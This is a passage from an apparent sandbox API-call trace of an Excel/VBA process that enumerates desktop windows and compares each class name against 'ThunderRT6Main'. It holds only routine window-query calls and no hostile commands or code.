lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0076.407] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0076.407] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.407] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.407] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0076.408] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0076.408] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0076.408] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0076.408] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0076.408] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0076.408] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0076.408] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0076.408] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0076.408] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0076.408] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.408] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.408] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0076.408] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0076.408] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0076.408] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0076.408] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0076.408] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0076.408] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.408] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.408] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0076.408] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0076.408] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0076.408] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0076.408] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0076.408] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0076.408] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.408] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.409] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0076.409] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0076.409] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0076.409] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0076.409] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0076.409] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0076.409] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0076.409] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0076.409] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0076.409] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0076.409] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0076.409] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0076.409] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0076.409] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0076.409] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0076.409] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0076.409] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0076.409] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0076.409] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0076.409] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0076.409] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.409] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0076.409] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0076.409] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0076.409] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0076.409] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0076.409] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0076.409] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0076.409] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.410] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0076.410] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.410] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.410] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.410] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0076.410] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.410] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.410] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.410] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0076.410] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0076.410] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0076.410] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0076.410] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0076.410] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.410] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.410] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0076.410] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0076.410] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0076.410] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0076.410] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.410] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0076.410] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0076.410] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0076.410] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0076.410] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0076.410] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.410] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.410] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0076.410] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0076.410] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0076.410] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0076.410] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.411] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0076.411] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0076.411] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0076.411] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0076.411] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0076.411] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0076.411] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0076.411] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0076.411] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0076.411] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.411] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.411] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0076.411] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0076.411] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0076.411] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0076.411] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0076.411] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0076.411] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.411] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.411] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0076.411] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0076.411] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0076.411] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0076.411] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0076.411] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x20352 [0076.411] GetClassNameA (in: hWnd=0x20352, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0076.411] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0076.411] GetWindowThreadProcessId (in: hWnd=0x20352, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd6c [0076.411] GetWindow (hWnd=0x20352, uCmd=0x2) returned 0x302d8 [0076.411] GetClassNameA (in: hWnd=0x302d8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.411] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.411] GetWindowThreadProcessId (in: hWnd=0x302d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd6c [0076.412] GetWindow (hWnd=0x302d8, uCmd=0x2) returned 0x302d6 [0076.412] GetClassNameA (in: hWnd=0x302d6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0076.412] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0076.412] GetWindowThreadProcessId (in: hWnd=0x302d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd54 [0076.412] GetWindow (hWnd=0x302d6, uCmd=0x2) returned 0x100ec [0076.412] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0076.412] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0076.412] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0076.412] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0076.412] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7d9f4d0 [0076.413] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9f4d0) [0079.443] GetAsyncKeyState (vKey=27) returned 0 [0079.443] GetCurrentThreadId () returned 0xbdc [0079.443] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0079.443] GetDesktopWindow () returned 0x10010 [0079.443] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0079.443] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.443] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.443] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.444] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0079.444] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.444] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.444] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.444] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0079.444] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.444] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.444] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.444] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0079.444] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0079.444] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0079.444] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0079.444] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0079.444] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.444] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.444] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0079.444] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0079.444] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0079.444] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0079.444] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0079.444] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0079.444] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.444] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.444] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.444] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0079.445] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.445] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.445] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.445] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0079.445] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.445] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.445] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.445] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0079.445] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.445] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.445] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.445] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0079.445] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.445] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.445] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.445] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0079.445] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.445] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.445] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.445] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0079.445] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.445] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.445] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.445] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0079.445] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0079.445] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0079.445] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.446] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0079.446] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.446] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.446] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.446] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0079.446] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0079.446] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0079.446] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.446] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0079.446] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0079.446] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0079.446] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.446] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0079.446] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.446] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.446] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0079.446] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0079.446] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.446] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.446] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.446] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0079.446] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0079.446] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0079.446] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.446] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0079.446] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0079.446] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0079.447] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.447] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0079.447] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0079.447] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0079.447] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0079.447] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.447] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.447] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.447] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0079.447] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0079.447] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0079.447] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0079.447] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0079.447] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0079.447] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.447] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0079.447] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0079.447] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0079.447] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0079.447] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0079.447] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0079.447] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.447] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0079.447] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0079.447] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0079.447] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0079.447] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0079.447] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0079.447] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.447] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0079.447] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0079.447] IsWindowEnabled (hWnd=0x20360) returned 0 [0079.448] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0079.448] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0079.448] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0079.448] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0079.448] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0079.448] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0079.448] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.448] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0079.448] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0079.448] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0079.448] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0079.448] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0079.448] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0079.448] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0079.448] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0079.448] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.448] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0079.448] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0079.448] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) 